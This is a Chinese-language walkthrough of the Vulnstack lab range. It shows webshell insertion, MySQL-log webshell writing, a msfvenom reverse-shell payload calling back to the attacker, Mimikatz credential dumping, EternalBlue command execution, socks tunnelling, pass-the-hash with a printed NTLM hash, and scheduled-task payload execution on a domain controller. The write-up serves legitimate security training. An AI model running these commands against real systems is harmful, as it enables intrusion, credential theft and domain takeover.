Vulnstack(一)writeup
2021-08-01 15:45:26 Author: www.freebuf.com(查看原文) 阅读量:35 收藏

前言

最近做了做红日的vulnstack,感觉蛮好玩的,写篇文章记录一下解题过程。

环境搭建

首先配置模拟内外网环境

WPQaJe.png

其中,192.168.52.0为模拟内网

192.168.119.0为模拟外网

接下来进入win7,首先修改已过期的密码为hongrisec@2021

接下来开启其web服务

WP3aJU.png

kali网卡配置如下:

WP8a7t.png

win7网卡配置如下:

WPUV1K.png

win server 2008网卡配置如下:

WPUwAs.png

win 2003 网络配置如下:

WiD3W9.md.png

至此,环境搭建基本完成

本次实验网络拓扑

WiWawR.png

内网域环境中只有win7可以访问外网,攻击机只能直接从外网访问到受害机的web服务,内网机器可以互相访问

实验开始

外网渗透

首先在攻击机中访问受害机的web服务

Wify40.png

在通知公告中看到提示

按提示进入后台

Wihn5q.png

首先注意到了文件上传的功能,想到可不可以上一个马,但是多番尝试并没有发现上传点,那么就挨个点一点找一找灵感

点到前台模板这里的时候发现这里可以管理模板php文件,此处很有可能存在漏洞

Wi5k7j.png

Wio5hn.png

尝试在index.php中写入一句话木马(因为这个文件好找)并使用蚁剑连接

WFCFDH.png

WFCkbd.png

WFCEVA.md.png

webshell上传成功,接下来先对受害机进行简单的信息收集

系统信息

WFCwMF.png

IP

WFCBqJ.png

WFCcPx.png

可以看到受害机存在两个IP,所以可以猜测目标主机存在一个内网环境,对此主机完成渗透后可以进行下一步的内网渗透

当前权限

这个靶场在这里做得有些点太简单了。。

获得web权限以后居然直接管理员了。。

WFCHit.png

至此,第一台受害机的最高权限已经被我们获取,不过这里还有第二种方法可以获取权限,下面简单讲一下

外网渗透2

发现目标主机存在web服务后先进行一波扫描看看有没有什么比较敏感的信息

使用nikto扫描器输入命令进行扫描

nikto -h 192.168.119.138

WFAlAH.md.png

从扫描结果中可以得知,目标网站存在phpmyadmin

尝试弱密码(root:root)登录,成功

WFAcvV.png

WFEZ5j.md.png

登录phpmyadmin之后就是老生常谈的通过MySQL日志尝试写马

但前提是mysql开启了日志功能

执行

show variables like '%general%'

查看mysql日志是否开启

WFmVO0.png

这里默认并没有开启日志,所以接下来我们要把日志功能打开并指定日志存放目录

输入命令

set global general_log='on'

WFnsC4.png

成功开启日志

接下来设置日志文件路径以及文件类型

输入命令

set global general_log_file='C:/phpstudy/www/192.168.119.138'

WFnWb6.png

写马

输入命令

select "<?php eval($_REQUEST[1]);?>"

WFuls1.md.png

蚁剑尝试连接

WFuyo8.png

成功上线,权限依然是最高的

WFuIe0.md.png

WFuHFU.png

所以接下来便是内网渗透了

内网渗透

在本次实验中我们主要采用msf来对内网进行渗透,所以首先我们利用事前上传的webshell来把msf生成的马上传到受害机

输入命令生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.119.130 lport=1234 -f exe >haixian.exe

WEub2F.md.png

开启监听

WFHGx1.png

上传木马并运行

WFHkCj.png

WFHNqK.png

可以在msf中看到主机上线成功

WFHaVO.png

使用

getsystem

进行提权

WASt2T.png

找个稳定的进程迁移一下

getpid
ps
migrate 3360

WApYTA.png

WApsmQ.png

接下来使用msf自带的mimikatz模块尝试抓取系统密码

load kiwi 
creds_wdigest
creds_all

WAMzGT.png

无果,尝试上传一个猕猴桃进行抓取

upload /home/haixian/mimikatz.exe c:\\
shell
mimikatz.exe
privilege::debug
sekurlsa::logonPasswords

WA1F4x.png

WA1ZvD.png

成功抓取管理员明文密码hongrisec@2021

既然已经抓到了管理员的明文密码,那么我们自然是不能满足于简单的meterpreter了,我们要尝试打开受害机的图形化操作界面了(也就是远程桌面)

首先使用nmap扫一下3389有没有开启

nmap 192.168.119.138 -p 3389

WA3z79.png

可以看到3389端口存在防火墙过滤

我们使用msf的post/windows/manage/enable_rdp模块尝试关闭防火墙

use post/windows/manage/enable_rdp
options
set session 2
run

WAJEod.png

WAJcf1.png

关闭成功,尝试打开远程桌面

WAYj81.png

使用刚刚抓取的密码登陆成功

WAUUN4.png

对内网信息进行收集

至此,对这台win7的渗透基本完成,接下来继续进行内网横向移动

net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
ipconfig /all        #查询本机IP段,所在域等 
net config Workstation  #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 
net user           #本机用户列表
net group "domain computers" /domain   #查看域内所有的主机名 
net group "domain admins" /domain      #查看域管理员 
net group "domain controllers" /domain #查看域控

WARmfx.png

WARWcT.png

WAfdeg.png

WAfjTH.png

WAhthR.png

在这里虽然可以在win7上上传nmap来扫描内网存活主机以及对应端口,但是接下来对其他几个内网主机的渗透都基本依托攻击机的msf完成,所以我们这里直接在msf中添加路由来使攻击机可以访问到内网资源

run autoroute -s 192.168.52.0/24

WAbAFU.png

接下来使用ping命令探测内网存活主机

chcp 65001(解决乱码问题)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

WA7H5F.md.png

可以看到除了win7这台机器内网中还有两台存活的主机

首先尝试扫描永恒之蓝

use auxiliary/scanner/smb/smb_version
options
set rhosts 192.168.52.141
run
set rhosts 192.168.52.143
run

WAOxA0.png

445端口开启,存在smb服务,永恒之蓝有希望!

use auxiliary/scanner/smb/smb_ms17_010 
options
set rhosts 192.168.52.141
run

WAvzNt.png

可见192.168.52.141这台主机很有可能存在永恒之蓝漏洞,尝试打一下

use auxiliary/admin/smb/ms17_010_command
options
set command whoami
set rhosts 192.168.52.141
run

WEpW26.md.png

成功执行了命令

那么接下来尝试打开3389端口利用刚刚抓到的域管理员账号登录

查看端口

use auxiliary/admin/smb/ms17_010_command
options
set command netstat -na
set rhosts 192.168.52.141
run

WE9pZQ.png

发现并没有3389开放,这样我们只好帮助他开一下~

use auxiliary/admin/smb/ms17_010_command
options
set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
set rhosts 192.168.52.141
run

WEV1KI.md.png

WEVDrq.png

可以看到3389已经成功开启,下一步便是开启远程桌面了

由于内网中的192.168.52.141主机无法直接访问到攻击机,所以这里需要使用到隐藏通信隧道技术,借助win7作为跳板机完成内网穿透

相关知识这里简述,具体可参照https://www.freebuf.com/articles/network/275436.html

首先在攻击机中执行

upload /home/haixian/ew-master c:\\

WEKP2D.png

接下来在攻击机本地添加转接隧道

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

将1080收到的数据转发给4444端口

WEKdRU.png

接下来在受害机win7中执行

ew_for_Win.exe -s rssocks -d 192.168.119.130 -e 4444

WEKvQg.png

攻击机收到回显,可见隧道搭建成功

WEMpes.png

接下来便可以打开第二台受害机的远程桌面了(使用proxychains添加代理)

vim  /etc/proxychains.conf

添加内容

socks5  192.168.119.130 1080

保存并退出后执行

proxychains rdesktop 192.168.52.141

WEQfDH.png

使用之前抓取的域管账号登陆

WElEqJ.png成功完成横向移动的第一步,拿下了受害机A

接下来就要向域控进军了

刚刚对两台内网主机进行的扫描结果显示永恒之蓝在域控这台主机上也可能存在

use auxiliary/admin/smb/ms17_010_command
options
set command whoami
set rhosts 192.168.52.138
run

WZNPbV.png

命令执行成功,接下来便是重复之前的步骤以开启域控的远程桌面

use auxiliary/admin/smb/ms17_010_command
options
set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
set rhosts 192.168.52.138
run

WZ6NHH.png

由于socks5隧道之前已经搭建好了,proxychains也已经设置好了,所以这里不需要重复配置

直接尝试打开远程桌面

proxychains rdesktop 192.168.52.138

WZDmF0.png

总是打不开,只能换个思路了,尝试之前用mimikatz抓取的哈希值进行哈希传递登录域控

执行

mimikatz.exe
sekurlsa::pth /domain:god.org /user:administrator /ntlm:a45a7246dd74b64a67f22fd7020f1bd8

WZTRVx.png

尝试访问域控共享服务

dir \\192.168.52.138\c$

WZ79Mj.png

访问成功

尝试把WIN7上的马(正向连接)上传到域控

copy C:\1.exe \\192.168.52.138\c$

WZHNNV.png

设置好监听后在域控上设置一个定时任务运行木马即可弹回shell来

schtasks /create /tn "hx" /tr C:\1.exe /sc once /st 17:54 /S 192.168.52.138 /RU System  /u administrator /p "hongrisec@2021"

写在后面

这个靶场难度较低,对新手比较友好,外网渗透部分用到了弱密码,mysql日志写马等知识,而内网部分大概只用到了永恒之蓝这一个漏洞,最多加上msf各种模块的一些使用,接下来笔者会挑战更难一些的靶场,敬请期待。

感谢阅读,溜了溜了~


文章来源: https://www.freebuf.com/articles/web/280775.html
如有侵权请联系:admin#unsafe.sh